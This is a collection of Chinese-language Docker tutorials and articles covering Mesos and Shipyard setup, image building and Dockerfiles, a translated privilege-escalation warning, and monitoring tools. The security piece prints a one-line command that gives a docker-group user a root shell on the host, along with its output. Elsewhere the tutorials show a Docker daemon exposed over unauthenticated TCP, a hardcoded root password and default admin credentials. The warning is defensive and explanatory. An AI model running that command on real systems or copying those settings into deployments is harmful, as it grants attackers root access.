我觉得学习Docker有三个阶段。第一个阶段是对Docker本身功能的使用，也就是入门层，你要理解什么是镜像、容器、Registry、Dockerfile等，了解这些对象的基本操作，能够构建出自己的应用环境来。第二个阶段是能够驾驭Docker集群。这个阶段你需要学习和使用Docker相关的工具，比如Kubernetes、Shipyard、Machine+Swarm+Compose等，根据不同的需求，需要使用不同的工具。第三个阶段就是发现和解决这些工具里面的问题，为自己的场景深度定制。


我觉得程序员可以从两个方面来使用好《Docker开发实践》这本书，一方面可以把它当做开发手册，因为这本书的内容几乎涵盖了Docker所有的知识点，我们对其内容进行了很系统地梳理。所以当你对Docker有什么疑问的时候，把《Docker开发实践》放在电脑前面，随手翻一翻基本就可以解决。另一方面，可以作为案例引导。这本书后面两篇甄选了当前经典的应用场景，一步步带领读者把服务搭建起来，并且把可能遇到的问题都标出来，教读者如何解决。所以，读者也可以参照本书的案例去更好更快地在实际生产中使用Docker，提升效率、少走弯路。


问：《Docker开发实践》的高级篇对Docker生态圈做了非常翔实的介绍和实践，为什么要对Docker生态圈着墨如此之多？对于这部分内容的遴选你有什么样的标准和原则？


Docker本身的操作其实很简单，如果复杂的话，Docker就不会像今天这样成功。然而我所知道的市面上之前所有关于Docker的书籍，都是把基础操作写了一大篇，然后堆砌一些案例，就成了一本书，我认为这是在浪费读者的钱和时间。基础的东西写成几章是合理的，写成一本书就是打肿脸充胖子了。我们在《Docker开发实践》中把这些内容进行了压缩，不想去滥竽充数，也不会去浪费笔墨。


上面我提到的Docker面临的阻碍很大一点就是它的工具链不完善和不易用。你会发现在网络上程序员求助最多的也是Docker生态圈的实践，因为Docker做得还不够好，稍微不小心就犯错。所以，既然基础篇不该讲那么多，而且生态圈又是使用Docker的开发者心中的痛点，那么我就着重笔墨去写这部分，让大家少走弯路。这部分内容看上去有些散，每一章都是讲一个工具或者是一组工具，但是书中选的Kubernetes、Shipyard等都是我们最需要的和最热点的工具，而且它们的构建又相对复杂。所以，我遴选的原则就是，重要又是难点的，我就选。所以这就成了《Docker开发实践》中的高级篇。




更多精彩，加入图灵访谈微信！





 使用 Docker， 7 个命令部署一个 Mesos 集群

作者：yexiaobai

来源： 使用 Docker， 7 个命令部署一个 Mesos 集群



                    

  本文原文是 Deploy a Mesos Cluster with 7 Commands Using Docker




这个教程将给你展示怎样使用 Docker 容器提供一个单节点的 Mesos 集群（未来的一篇文章将展示怎样很容易的扩展这个到多个节点或者是见底部更新）。这意味着你可以使用 7 个命令启动整个集群！不需要安装任何东西除了一个正在运行的 Docker 服务器。


将启动 4 个容器：



	ZooKeeper

	Meso Master

	Marathon

	Mesos Slave Container



正如唯一要求提到的是有一个正在运行的 Docker 服务器。这意味着你可以启动一个本地的 已经安装 Docker 的 Vagrant box，使用 Boot2Docker，使用 CoreOS，AWS 上的实例，或者任何你可以获取到的 Docker 服务器。


在 Github repository 概述了这整个过程。


sekka1/mesosphere-docker


以上所有的 Docker 容器构建文件都在这里。你可以在本地构建每一个容器或者仅仅使用位于 Docker Hub 上的预构建容器。以下的脚本将为你自动下载需要的预构建容器。



	ZooKeeper — https://registry.hub.docker.com/u/garland/zookeeper/


	Meso Master — https://registry.hub.docker.com/u/garland/mesosphere-docker-mesos-master/


	Marathon — https://registry.hub.docker.com/u/garland/mesosphere-docker-marathon/




让我们开始


第一步：或者 Docker 服务器的 IP 并导出到环境变量。我们将在随后的 Docker 命令中不断地使用这个 IP。


root@docker-server:/# HOST_IP=10.11.31.7



第二步：启动 ZooKeeper 容器


docker run -d \
-p 2181:2181 \
-p 2888:2888 \
-p 3888:3888 \
garland/zookeeper



第三步：启动 Mesos Master


docker run --net="host" \
-p 5050:5050 \
-e "MESOS_HOSTNAME=${HOST_IP}" \
-e "MESOS_IP=${HOST_IP}" \
-e "MESOS_ZK=zk://${HOST_IP}:2181/mesos" \
-e "MESOS_PORT=5050" \
-e "MESOS_LOG_DIR=/var/log/mesos" \
-e "MESOS_QUORUM=1" \
-e "MESOS_REGISTRY=in_memory" \
-e "MESOS_WORK_DIR=/var/lib/mesos" \
-d \
garland/mesosphere-docker-mesos-master



第四步：启动 Marathon


docker run \
-d \
-p 8080:8080 \
garland/mesosphere-docker-marathon --master zk://${HOST_IP}:2181/mesos --zk zk://${HOST_IP}:2181/marathon



第五步：在一个容器中启动 Mesos Slave


docker run -d \
--name mesos_slave_1 \
--entrypoint="mesos-slave" \
-e "MESOS_MASTER=zk://${HOST_IP}:2181/mesos" \
-e "MESOS_LOG_DIR=/var/log/mesos" \
-e "MESOS_LOGGING_LEVEL=INFO" \
garland/mesosphere-docker-mesos-master:latest



第六步：进入 Mesos 的 webpage


依赖于你怎样设置的你的  Docker server 和它的 IP 地址，你或许不得不改变你输入到浏览器的 IP 但是端口是一样的。


Mesos webpage 将在这个地址：


http://${HOST_IP}:5050



这时候你将得到一个像这样的页面但可能在‘Tasks’ 表格没有任何的条目。





第七步：进入 Marathon 的 webpage 启动一个任务


Marathon 的 webpage 让你调度在 Meso Slave 容器长时间运行的任务。这是一个非常好的查看你集群是否在正常运行的测试。你可以这样看 Marathon 的 webpage：


http://${HOST_IP}:8080






点击在顶部右端的 “New App” 按钮会给你以下的菜单，你可以创建一个新的 job/task。我们简单的输出一个 hello 到一个文件中。我们可以进入到容器并检查该文件是否被创建以及该 job 是否在持续运行。





第八步：检查 job/task 是否正在运行


让我们检查  job/task 在 Mesos Slave 上是否正在持续运行。


在 Docker server 运行以下命令。它将让你进入 slave 容器并从那里 tail out 这 output.txt 文件。


docker exec -it mesos_slave_1 /bin/bash
root@ca83bf0ea76a:/# tail -f /tmp/output.txt



你将看到 “hello” 每秒一次的被放入该文件中。



  更新：我更新了该项目文档包含了怎样设置一个多节点的环境：https://github.com/sekka1/mesosphere-docker#multi-node-setup




 Docker集中化web界面管理平台shipyard

作者：seanlook

来源： Docker集中化web界面管理平台shipyard



                    
Shipyard（github）是建立在docker集群管理工具Citadel之上的可以管理容器、主机等资源的web图形化工具。包括core和extension两个版本，core即shipyard主要是把多个 Docker host上的 containers 统一管理（支持跨越多个host），extension即shipyard-extensions添加了应用路由和负载均衡、集中化日志、部署等。


1. 几个概念


engine


一个shipyard管理的docker集群可以包含一个或多个engine（引擎），一个engine就是监听tcp端口的docker daemon。shipyard管理docker daemon、images、containers完全基于Docker API，不需要做其他的修改。另外，shipyard可以对每个engine做资源限制，包括CPU和内存；因为TCP监听相比Unix socket方式会有一定的安全隐患，所以shipyard还支持通过SSL证书与docker后台进程安全通信。


rethinkdb


RethinkDB是一个shipyard项目的一个docker镜像，用来存放账号（account）、引擎（engine）、服务密钥（service key）、扩展元数据（extension metadata）等信息，但不会存储任何有关容器或镜像的内容。一般会启动一个shipyard/rethinkdb容器shipyard-rethinkdb-data来使用它的/data作为数据卷供另外rethinkdb一个挂载，专门用于数据存储。


2. 搭建过程


修改tcp监听


Shipyard 要管理和控制 Docker host 的话需要先修改 Docker host 上的默认配置使其监听tcp端口(可以继续保持Unix socket）。有以下2种方式



	
sudo docker -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock -d 启动docker daemon。如果为了避免每次启动都写这么长的命令，可以直接在/etc/init/docker.conf中修改。

	修改/etc/default/docker的DOCKER_OPTS
DOCKER_OPTS="-H tcp://127.0.0.1:4243 -H unix:///var/run/docker.sock"。这种方式在我docker version 1.4.1 in ubuntu 14.04上并没有生效。



重启服务
$ sudo docker -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock -d
验证
$ netstat -ant  |grep 4243
tcp6       0      0 :::4243                 :::*                    LISTEN



启动rethinkdb


shipyard（基于Python/Django）在v1版本时安装过程比较复杂，既可以通过在host上安装，也可以部署shipyard镜像（包括shipyard-agent、shipyard-deploy等组件）。v2版本简化了安装过程，启动两个镜像就完成：


获取一个/data的数据卷
$sudo docker run -it -d --name shipyard-rethinkdb-data \
  --entrypoint /bin/bash shipyard/rethinkdb -l

使用数据卷/data启动RethinkDB
docker run -it -P -d --name shipyard-rethinkdb \
  --volumes-from shipyard-rethinkdb-data shipyard/rethinkdb



部署shipyard镜像


启动shipyard控制器：


sudo docker run -it -p 8080:8080 -d --name shipyard \
  --link shipyard-rethinkdb:rethinkdb shipyard/shipyard



至此已经可以通过浏览器访问http://host:8080来访问shipyard UI界面了。


第一次run后，关闭再次启动时直接使用：


sudo docker stop shipyard shipyard-rethinkdb shipyard-rethinkdb-data
sudo docker start shipyard-rethinkdb-data shipyard-rethinkdb shipyard



图示


登录：


默认用户名/密码为 admin/shipyard


主界面：


Dashboard展示在添加engine时指定的CPU以及内存的使用情况。


容器：


shipyard管理的所有docker主机的所有容器，包括stop和running状态的。可以直接点击DEPLOY按钮来从镜像运行出其他容器，与docker run的选项几乎相同，可以限制CPU和内存的使用，详见shipyard的containers文档。


容器操作：


可以stop、start、restart容器，通过LOGS可以看到容器日志输出，SCALE可以批量（规模化）部署该容器，这个操作与容器的Type属性息息相关。因为shipyard可以管理多个host的docker容器，所以启动一个容器的type可以是：service——可以在具有相同label的engine上运行；unique——一个host上只允许某个镜像的一个实例运行；host——在指定的host上运行容器，启动的时候通过--label host:<host-id>语法指定docker host。


engine管理：


一个engine就是一个docker daemon，docker daemon下启动着多个containers，可以对engine限制一个整体的CPU和内存限制，shipyard通过TCP端口连接daemon。需要注意的是docker client与server的版本问题：（因为shipyard目前还在快速的完善过程，不同版本的docker应该是向下兼容的）


curl -X GET http://172.29.88.223:4243/v1.15/containers/json
client and server don't have same version (client : 1.15, server: 1.13)



3. shipyard-cli


目前图形化界面能做的操作其实很少，正在强大的是通过shipyard提供的命令行窗口（称作Shipyard CLI）进行管理，参考http://shipyard-project.com/docs/usage/cli/

启动命令行交互模式：


sudo docker run --rm -it shipyard/shipyard-cli



使用它甚至可以替代docker客户端。


sean@seanubt:~$ sudo docker run -it shipyard/shipyard-cli
shipyard cli> shipyard help
NAME:
   shipyard - manage a shipyard cluster

USAGE:
   shipyard [global options] command [command options] [arguments...]

VERSION:
   2.0.8

COMMANDS:
   login        login to a shipyard cluster
   change-password  update your password
   accounts     show accounts
   add-account      add account
   delete-account   delete account
   containers       list containers
   inspect      inspect container
   run          run a container
   stop         stop a container
   restart      restart a container
   scale        scale a container
   logs         show container logs
   destroy      destroy a container
   engines      list engines
   add-engine       add shipyard engine
   remove-engine    removes an engine
   inspect-engine   inspect an engine
   service-keys     list service keys
   add-service-key  adds a service key
   remove-service-key   removes a service key
   extensions       show extensions
   add-extension    add extension
   remove-extension remove an extension
   webhook-keys     list webhook keys
   add-webhook-key  adds a webhook key
   remove-webhook-key   removes a webhook key
   info         show cluster info
   events       show cluster events
   help, h      Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h           show help
   --generate-bash-completion   
   --version, -v        print the version

登录shipyard
shipyard cli> shipyard login
URL: http://172.29.88.205:8080
Username: admin
Password:

查看containers
shipyard cli> shipyard containers

启动一个容器
shipyard cli> shipyard run --name nginx:1.7.6 --container-name web_test \
    --cpus 0.2 \
    --memory 64 \
    --type service \
    --hostname nginx-test \
    --domain example.com \
    --link redis:db \
    --port tcp/172.29.88.205:81:8081 \
    --port tcp/::8000 \
    --restart "on-failure:5" \
    --env FOO=bar \
    --label dev \

查看容器日志（只能接容器ID，暂不能使用容器名）
shipyard cli> shipyard logs ff2761d

关闭并移除容器
shipyard cli> shipyard destroy <container_id>



不一一列举。。。




原文链接地址：http://seanlook.com/2014/12/29/docker-shipyard-centralized-management-webui/





 Docker学习之路（六）用commit命令创建镜像

作者：Aomine

来源： Docker学习之路（六）用commit命令创建镜像



                    
假期快要结束了，干点正事，接着Docker的学习。


构建镜像


构建镜像的两种方法：



	使用docker commit 命令

	使用docker build命令和Dockerfile文件



Dockerfile更抢到、灵活，推荐使用。


一般来说不是真的“创建”新镜像，而是基于一个已有的基础镜像，比如Ubuntu、Fedora等，构建新的镜像而已。从零构建一个全新的镜像可参考这篇文章


用commit创建镜像


创建Docker账号


共享和发布镜像时构建镜像中重要的环节，可以将镜像推送到Docker Hub或资金的私有Registry中。首先到https://hub.docker.com/account/signup/ 创建账号。





邮件激活后，可以测试登录：


$ sudo docker login






这条命令会完成登录，并将认证信息报错起来供后面使用。个人认证信息将报错到$HOME/ .dockercfg文件中.


用 commit 命令创建镜像


可以想象是往版本控制系统里提交变更：首先创建一个容器，并在容器里做修改，就行修改代码一样，最后在讲修改提交为一个新镜像。


创建一个新容器命令：


$ sudo docker run -i -t ubuntu /bin/bash



我用之前创建好的aoct容器：


$ sudo docker start aoct
$ sudo docker attach aoct






安装Apache:


root@614122c0aabb:/# apt-get -yqq update
...
root@614122c0aabb:/# apt-get -y install apache2
...






想把这个容器作为一个Web服务器来运行，所以要把它当前状态保存下来，就不必每次都创建一个新容器并再次安装Apache。


所以先用exit命令退出容器，再运行docker commit命令：


$ sudo docker commit 614122c0aabb aoct/apache2






命令中，指定了要提交的修改过的容器的ID、目标镜像仓库、镜像名。commit提交的知识创建容器的镜像与容器的当前状态之间的差异部分，很轻量。


查看新创建的镜像：


$ sudo docker images aoct/apache2






也可以像git一样，在提交镜像时指定更多信息来描述所做的修改：


$ sudo docker commit -m='A new image' --author='Aomine' 614122c0aabb aoct/apache2






上面代码，用-m指定行创建的镜像的提交信息。--author指定镜像作者，接着是容器ID、目标镜像仓库、镜像名。


使用docker inspect命令查看新创建的镜像的详细信息：


$ sudo docker inspect aoct/apache2






使用docker run命令从刚创建的新镜像运行一个容器：


$ sudo docker run -t -i aoct/apache2 /bin/bash








【本人的学习笔记，主要是对《我的第一本Docker书》、《Docker —— 从入门到实践》的学习记录，引用了很多书上的话和例子，并结合其他各种资源的学习。我使用的是windows 7， docker 1.3.2。】


 Flux7 Docker 系列教程（三）：使用 Dockerfile 实现自动化

作者：大舒

来源： Flux7 Docker 系列教程（三）：使用 Dockerfile 实现自动化



                    

  本系列教程翻译自 Flux7 Docker Tutorial Series，系列共有九篇，本文译自第三篇 Part 3: Automation is the Word Using DockerFile。

  该系列所有文章将参考其他学习资料翻译，也会加入自己的学习作为部分注解。如有错误，欢迎指正。







上篇文章介绍的是 15 个 Docker 基础命令，在手动创建镜像的时候会有用到，例如 pull，commit，push，但是当需要执行的命令很多时，是不太可能逐一执行 Docker 命令进行镜像初始化的，于是就此产生了 Dockerfile。


Docker 提供的 Dockerfile 是一个类似 Makefile 的工具，主要用来自动化构建镜像。既然能自动化创建镜像，那么我们何必去手动创建镜像呢。本文用来讲解 Dockerfile 的用法、语法，并且提供一个实例用以更深入地了解 Dockerfile。


注：原文 不太直观，而且很多细节没有讲清楚，因此只取原文中有用的部分，参考其他文章总结出本文。


贴一个 Dockerfile 的实例然后开始正文：


# Memcached
#
# VERSION       2.2

# use the ubuntu base image provided by dotCloud
FROM ubuntu

MAINTAINER Victor Coisne victor.coisne@dotcloud.com

# make sure the package repository is up to date
RUN echo "deb http://archive.ubuntu.com/ubuntu precise main universe" > /etc/apt/sources.list
RUN apt-get update

# install memcached
RUN apt-get install -y memcached

# Launch memcached when launching the container
ENTRYPOINT ["memcached"]

# run memcached as the daemon user
USER daemon

# expose memcached port
EXPOSE 11211



格式


Dockerfile 中所有的命令都是以下格式：INSTRUCTION argument


指令(INSTRUCTION)不分大小写，但是推荐大写。


FROM 命令


FROM <image name>，例如 FROM ubuntu


所有的 Dockerfile 都用该以 FROM 开头，FROM 命令指明 Dockerfile 所创建的镜像文件以什么镜像为基础，FROM 以后的所有指令都会在 FROM 的基础上进行创建镜像；可以在同一个 Dockerfile 中多次使用 FROM 命令用于创建多个镜像。


MAINTAINER 命令


MAINTAINER <author name> 用于指定镜像创建者和联系方式。


例如


MAINTAINER Victor Coisne victor.coisne@dotcloud.com



RUN 命令


RUN <command> 用于容器内部执行命令。每个 RUN 命令相当于在原有的镜像基础上添加了一个改动层，原有的镜像不会有变化。


ADD 命令


ADD <src> <dst> 用于从将 <src> 文件复制到 <dst> 文件：<src> 是相对被构建的源目录的相对路径，可以是文件或目录的路径，也可以是一个远程的文件 url，<dst> 是容器中的绝对路径。


CMD 命令


CMD 命令有三种格式：



	
CMD ["executable","param1","param2"]：推荐使用的 exec 形式。

	
CMD ["param1","param2"]：无可执行程序形式

	
CMD command param1 param2：shell 形式。



CMD 命令用于启动容器时默认执行的命令，CMD 命令可以包含可执行文件，也可以不包含可执行文件：不包含可执行文件的情况下就要用 ENTRYPOINT 指定一个，然后 CMD 命令的参数就会作为ENTRYPOINT的参数。



  一个 Dockerfile 中只能有一个CMD，如果有多个，则最后一个生效。
CMD 的 shell 形式默认调用 /bin/sh -c 执行命令。
CMD命令会被 Docker 命令行传入的参数覆盖：docker run busybox /bin/echo Hello Docker 会把 CMD 里的命令覆盖。




ENTRYPOINT 命令


ENTRYPOINT 命令的字面意思是进入点，而功能也恰如其意：他可以让你的容器表现得像一个可执行程序一样。


ENTRYPOINT 命令也有两种格式：



	
ENTRYPOINT ["executable", "param1", "param2"] ：推荐使用的 exec 形式

	
ENTRYPOINT command param1 param2 ：shell 形式




  一个 Dockerfile 中只能有一个 ENTRYPOINT，如果有多个，则最后一个生效。




关于 CMD 和 ENTRYPOINT 的联系请看下面的例子

仅仅使用 ENTRYPOINT：


FROM ubuntu
ENTRYPOINT ls -l



执行 docker run 306cd7e8408b /etc/fstab 和 docker run 306cd7e8408b 结果并不会有什么差别：


命令 # docker run 306cd7e8408b /etc/fstab
total 64
drwxr-xr-x   2 root root 4096 Mar 20 05:22 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
drwxr-xr-x   5 root root  360 Apr 24 02:52 dev
drwxr-xr-x  64 root root 4096 Apr 24 02:52 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
……



但是我们通常使用 ENTRYPOINT 作为容器的入口，使用 CMD 给 ENTRYPOINT 增加默认选项：


FROM ubuntu
CMD ["-l"]
ENTRYPOINT ["ls"]



然后执行这个容器：

不加参数便会默认有 -l参数：


命令 # docker run 89dc7e6d0ac1
total 64
drwxr-xr-x   2 root root 4096 Mar 20 05:22 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
drwxr-xr-x   5 root root  360 Apr 24 02:47 dev
drwxr-xr-x  64 root root 4096 Apr 24 02:47 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x  12 root root 4096 Mar 20 05:21 lib
drwxr-xr-x   2 root root 4096 Mar 20 05:20 lib64
drwxr-xr-x   2 root root 4096 Mar 20 05:19 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Mar 20 05:19 opt
dr-xr-xr-x 386 root root    0 Apr 24 02:47 proc
drwx------   2 root root 4096 Mar 20 05:22 root
drwxr-xr-x   7 root root 4096 Mar 20 05:21 run
drwxr-xr-x   2 root root 4096 Apr 21 22:18 sbin
drwxr-xr-x   2 root root 4096 Mar 20 05:19 srv
dr-xr-xr-x  13 root root    0 Apr 24 02:47 sys
drwxrwxrwt   2 root root 4096 Mar 20 05:22 tmp
drwxr-xr-x  11 root root 4096 Apr 21 22:18 usr
drwxr-xr-x  12 root root 4096 Apr 21 22:18 var



加了 /etc/fstab 参数便会覆盖原有的 -l 参数：


命令 # docker run 89dc7e6d0ac1 /etc/fstab
/etc/fstab



EXPOSE 命令


EXPOSE <port> [<port>...] 命令用来指定对外开放的端口。

例如 EXPOSE 80 3306，开放 80 和 3306 端口。


WORKDIR命令


WORKDIR /path/to/work/dir 配合 RUN，CMD，ENTRYPOINT 命令设置当前工作路径。

可以设置多次，如果是相对路径，则相对前一个 WORKDIR 命令。默认路径为/。


例如：


FROM ubuntu
WORKDIR /etc
WORKDIR ..
WORKDIR usr
WORKDIR lib
ENTRYPOINT pwd



docker run ID 得到的结果为：/usr/lib


USER命令


USER <UID/Username> 为容器内指定 CMD RUN ENTRYPOINT 命令运行时的用户名或UID。


VLOUME 命令


VOLUME ['/data'] 允许容器访问容器的目录、允许容器之间互相访问目录。
VOLUME 仅仅是允许将某一个目录暴露在外面，更多的操作还需要依赖 Docker 命令实现。


更多的内容可以参考 深入理解 Docker Volume（一）


ENV 命令


参考 export 的用法咧：
ENV LC_ALL en_US.UTF-8


实例


Dockerfile 的写法已经讲述完毕，这儿有一个示例的 Dockerfile：


#Dockerfile
FROM centos6-base
#指定centos6系统
MAINTAINER zhou_mfk <zhou_mfk@163.com>
#我抄的他的 Dockerfile
RUN ssh-keygen -q -N "" -t dsa -f /etc/ssh/ssh_host_dsa_key
RUN ssh-keygen -q -N "" -t rsa -f /etc/ssh/ssh_host_rsa_key
#创建私钥
RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
#修复SSH登录，否则登陆后的用户会被秒退。
RUN mkdir -p /root/.ssh && chown root.root /root && chmod 700 /root/.ssh
#创建root用户的ssh文件夹
EXPOSE 22
#开放端口
RUN echo 'root:redhat' | chpasswd
#root用户改密码为redhat
RUN yum install -y yum-priorities && rpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm && rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
RUN yum install tar gzip gcc vim wget screen -y
#安装epel和安装一些软件
ENV LANG en_US.UTF-8
ENV LC_ALL en_US.UTF-8
#系统环境变量
CMD ["/usr/sbin/sshd", "-D"]
#启动sshd
#End



最佳实践


所有应用都会有个最佳的方式，Dockerfile 也不例外，下面是我们总结出的最佳实现方式：



	把维护者和更新系统的命令依次写在最上方

	使用标签管理 Dockerfile

	避免映射公共端口

	使用类似 array 形式的 CMD 和 ENTRYPOINT





  注：映射端口并不属于 Dockerfile 的工作范围。




下篇文章将会介绍 Docker Registry 和 Workflows。


 Docker 安全：通过 Docker 提升权限

作者：大舒

来源： Docker 安全：通过 Docker 提升权限



                    

  本文翻译自 Privilege Escalation via Docker，目的在于提醒大家注意安全性。本文中所有的内容总结成一句话：某个用户被加入了 docker 用户组，那么这个用户相当于直接获得了宿主机免认证的 root 权限。




文章太长不要看，一句话，不要用 docker 用户组。


如果你对 Docker 不熟悉的话，简单来说，Docker 是一个轻量级的应用容器。和常见的虚拟机类似，但是和虚拟机相比，资源消耗更低。并且，使用和 GitHub 类似的被 commit 的容器，非常容易就能实现容器内指定运行环境中的应用打包和部署。


问题


如果你有服务器上一个普通用户的账号，如果这个用户被加入了 docker 用户组，那么你很容易就能获得宿主机的 root 权限。


黑魔法：


docker run -v /:/hostOS -i -t chrisfosterelli/rootplease



输出如下：


johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部，但是容器已经 chroot /hostOS，所以相当于直接获取了宿主机的 root 权限。
#




  译者一直以为是 Ctrl-D 之后，宿主机的 shell 变成 root，实际上不是。

  咨询了作者 Chris Foster 得知，是在容器内获得宿主机的 root 权限。

  是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s？




解释


当然，所有的解释汇成一句话，应该就是：docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因，Docker 给予所有 docker 组的用户相当大的权力（虽然权力只体现在能访问 /var/run/docker.sock 上面）。


默认情况下，Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。


解决方案


对于 Docker 来说可能很难修复，因为涉及到他们的架构问题，所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然，Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。


Docker 官方也意识到了这个问题，尽管他们并没有很明显地表明想去修复它。在他们的安全文档中，他们也的确表示 docker 用户组的权限和 root 权限差别不大，并且敬告用户慎重使用。


漏洞详情


上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease，主要的作用是：从 Docker Hub 上面下载我的镜像，然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS，并且使用 -i 和 -t 参数进入容器的 shell。


这个容器的启动脚本是 exploit.sh，主要内容是：chroot 到容器的 /hostOS （也就是宿主机的 /），然后获取到宿主机的 root 权限。


当然可以从这个衍生出非常多的提权方法，但是这个方法是最直接的。


本文中所提到的代码托管在 Github，镜像在 Docker Hub。


 几种 Docker 监控工具对比

作者：OneAPM蓝海讯通
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轻量级虚拟化容器 Docker，自发布以来便广受业界关注，在开源界和企业界掀起了一阵风。Docker 容器相对于 VM 有以下几个优势：启动速度快；资源利用率高；性能开销小。



从图中可以看出 Docker 和 虚拟机的差异，虚拟机的 Guest OS 和 Hypervisor 层在 Docker 中被 Docker Engine 层所替代，Docker 有着比虚拟机更少的抽象层。由于 Docker 不需要通过 Hypervisor 层实现硬件资源虚拟化，运行在 Docker 容器上的程序直接使用实际物理机的硬件资源。因此在 CPU、内存利用率上 Docker 略胜一筹。Docker利用的是宿主机的内核，而不需要 Guest OS，因此，当新建一个容器时，Docker 不需要和虚拟机一样重新加载一个操作系统内核，因此新建一个 Docker 容器只需要几秒钟。

既然 Docker 这么火，那么问题来了，为了能够更精确的分配每个容器能使用的资源，我们想要实时获取容器运行时使用资源的情况，怎样对 Docker 上的应用进行监控呢？Docker 的结构会不会加大监控难度？

我们都了解， container 相当于小型 host，可以说存在于 hosts 与应用之间的监控盲区，无论是传统的基础组件监控还是应用性能监控的方式，都很难有效地监控 Docker。了解了一下现有的 Docker 相关监测 App 和服务，包括简单的开源工具和复杂的企业整体解决方案，下面列举几种Docker 监控工具作为参考：

1. cAdvisor

谷歌的 container introspection 解决方案是 cAdvisor，这是一个 Docker 容器内封装的实用工具，能够搜集、集料、处理和导出运行中的容器的信息。通过它可以看到 CPU 的使用率、内存使用率、网络吞吐量以及磁盘空间利用率。然后，你可以通过点击在网页顶部的 Docker Containers 链接，然后选择某个容器来详细了解它的使用情况。cAdvisor 部署和使用简单，但它只可以监视在同一个 host 上运行的容器，对多节点部署不是太管用。

2. Cloud Insight

在我们列举的几个监控 Docker 的服务或平台中，这是唯一一款国内产品。Cloud Insight 支持多种操作系统、云主机、数据库和中间件的监控，原理是在平台服务仪表盘和自定义仪表盘中，采集并处理 Metric，对数据进行聚合与分组等计算，提供曲线图、柱状图等多样化的展现形式。优点是监控的指标很全，简单易用，但目前正式版还未上线，可以期待一下。

3. Scout

Scout 是一款监视服务，并不是一个独立的开源项目。它有大量的插件，除了 Docker 信息还可以吸收其他有关部署的数据。因此 Scout 算是一站式监控系统，无需对系统的各种资源来安装各种不同的监控系统。 Scout 的一个缺点是，它不显示有关每个主机上单独容器的详细信息。此外，每个监控的主机十美元这样略微昂贵的价格也是是否选择 Scout 作为监控服务的一个考虑因素，如果运行一个有多台主机的超大部署，成本会比较高。 

4. Sematext

Sematext 也是一款付费监控解决方案，计划收费方案是3.5美分/小时。同样也支持 Docker 监控，还包括对容器级事件的监测（停止、开始等等）和管理容器产生的日志。

时间关系我们选择了其中安装最简单的 Cloud Insight 来试验监控基于 Docker 的一个应用——Acme 的运行情况，后期时间允许会将其他几种监控方式都试一遍。

Docker 监控实战

单方面监控 Docker 可能并不太适合与业务挂钩的应用，当业务量上涨，不单单是 Docker 的负载上升，其他 JVM 指标也能也会出现上升的趋势。

我们尝试使用一个支持比较多中间件、数据库、操作系统、容器的 Cloud Insight 来说明这个实际的场景。

Cloud Insight

Cloud Insight 由于是一个 SaaS 监控方案，相对来说它的安装和部署都比较简单。在这次监控实战中，我们以 AcmeAir 为实验对象：一个可以模拟压力的电子商务类应用。

AcmeAir 是一款由原 IBM 新技术架构部资深工程师 Andrew Spyker，利用 Netflix 开源的 Netflix OSS 打造的开源电子商务应用。此应用具有如下特性：


	模拟提供航班订票服务。用户可以通过移动设备或者 web 浏览器，完成新用户注册，用户登录，航班查询，订票等操作。


	AcmeAir 融入了 Docker，微服务架构等理念。并采用 Tomcat、Node.js、WebSphere Application Server、WebSphere Extreme Scale、MongoDB、Cassandra 分别打造了不同版本的实现。


	AcmeAir 利用 JMeter 模拟用户行为。可通过动态调整用户数量，模拟产生各种压力的事物流量。并可在应用中预先植入错误代码，模拟各种故障场景。该应用可做为压力测试，终端用户体验异常检测，故障诊断等各种测试场景的测试用例。






首先，我们要打开 Cloud Insight 监控，还好 Cloud Insight 安装简单，一条命令即可。接着，我们新建一个用于此次监控的仪表盘，依次将想要获取的指标统统添加进去。比如，选中 jvm.non_heap_memory 这个指标，选择按照 instance 分组。

我们添加以下指标：


	docker.cpu.user


	docker.cpu.sysytem


	docker.containers.running


	jvm.heap_memory


	jvm.non_heap_memory


	jvm.gc.cms.count


	jvm.heap_memory_max


	jvm.gc.parnew.time




应用 Acme 部署在四台 servers 上，我们开启四台 servers, 然后用 JMeter 给应用加压。随着时间 JMeter 不断给应用加压。



当 users 人数达到 188 时，我们再来看一下仪表盘的视图。



从图中可以看到，性能数据发生了变化，根据 JMeter 里的数据，此时 CPU 占用超过了50%，错误率也有所提升；对比来看，根据 Cloud Insight 里的曲线显示，蓝色的线所代表的 Container CPU 占用率已经超过50%，逐渐接近75%，系统剩余的 CPU 资源逐渐下降，该 Container 的系统 CPU 资源消耗也突然增大。我们可以通过这些定位到 CPU 占用率过高的 Container ，及时而主动地去了解性能瓶颈，从而优化性能，合理分配资源。

Cloud Insight 所抓取的性能指标算是较为全面，部署和展现方式都是相当简单易懂的，对这个产品可以期待一下。

Cloud Insight 集监控、管理、计算、协作、可视化于一身，帮助所有 IT 公司，减少在系统监控上的人力和时间成本投入，让运维工作更加高效、简单。想阅读更多技术文章，请访问 OneAPM 官方博客。


 在 Docker 上运行一个 RESTful 风格的微服务

作者：艾彦波

